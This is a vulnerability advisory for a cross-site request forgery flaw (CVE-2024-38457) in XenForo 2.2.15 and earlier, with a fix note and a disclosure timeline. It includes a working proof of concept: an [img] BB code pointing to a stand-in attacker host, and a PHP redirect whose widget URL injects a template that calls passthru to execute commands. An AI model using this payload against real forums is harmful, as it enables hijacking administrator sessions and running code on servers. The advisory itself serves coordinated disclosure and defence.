XenForo 2.2.15 Cross Site Request Forgery

`-------------------------------------------------------------------------------  
XenForo <= 2.2.15 (Widget::actionSave) Cross-Site Request Forgery Vulnerability  
-------------------------------------------------------------------------------  
  
  
[-] Software Link:  
  
https://xenforo.com  
  
  
[-] Affected Versions:  
  
Version 2.2.15 and prior versions.  
  
  
[-] Vulnerability Description:  
  
The XF\Admin\Controller\Widget::actionSave() method, defined into the  
/src/XF/Admin/Controller/Widget.php script, does not check whether the  
current HTTP request is a POST or a GET before saving a widget.  
XenForo does perform anti-CSRF checks for POST requests only, as such  
this method can be abused in a Cross-Site Request Forgery (CSRF)  
attack to create/modify arbitrary XenForo widgets via GET requests,  
and this can also be exploited in tandem with KIS-2024-06 to perform  
CSRF-based Remote Code Execution (RCE) attacks.  
  
Furthermore, XenForo implements a BB code system, as such this  
vulnerability could also be exploited through "Stored CSRF" attacks by  
abusing the [img] BB code tag, creating a thread or a private message  
(to be sent to the victim user) like the following:  
  
[img]https://attacker.website/exploit.php[/img]  
  
Where the exploit.php script hosted on the attacker-controlled website  
could be something like this:  
  
<?php  
  
$url = "https://victim.website/xenforo/";  
  
header("Location:  
{$url}admin.php?widgets/save&definition_id=html&widget_key=RCE&positions[pub_sidebar_top]=1&display_condition=true&options[template]={{\$xf.app.em.getRepository('XF\\Util\\Arr').filterRecursive(['id'],'passthru')}}");  
  
?>  
  
Successful exploitation of this vulnerability requires a victim user  
with permissions to administer styles or widgets to be currently  
logged into the Admin Control Panel.  
  
  
[-] Solution:  
  
Update to a fixed version or apply the vendor patches.  
  
  
[-] Disclosure Timeline:  
  
[22/02/2024] - Vulnerability details sent to SSD Secure Disclosure  
[05/06/2024] - Vendor released patches and fixed versions  
[14/06/2024] - CVE identifier requested  
[16/06/2024] - CVE identifier assigned  
[16/07/2024] - Coordinated public disclosure  
  
  
[-] CVE Reference:  
  
The Common Vulnerabilities and Exposures project (cve.mitre.org) has  
assigned the name CVE-2024-38457 to this vulnerability.  
  
  
[-] Credits:  
  
Vulnerability discovered by Egidio Romano.  
  
  
[-] Other References:  
  
https://xenforo.com/community/threads/222133  
https://ssd-disclosure.com/ssd-advisory-xenforo-rce-via-csrf/  
  
  
[-] Original Advisory:  
  
http://karmainsecurity.com/KIS-2024-05  
  
`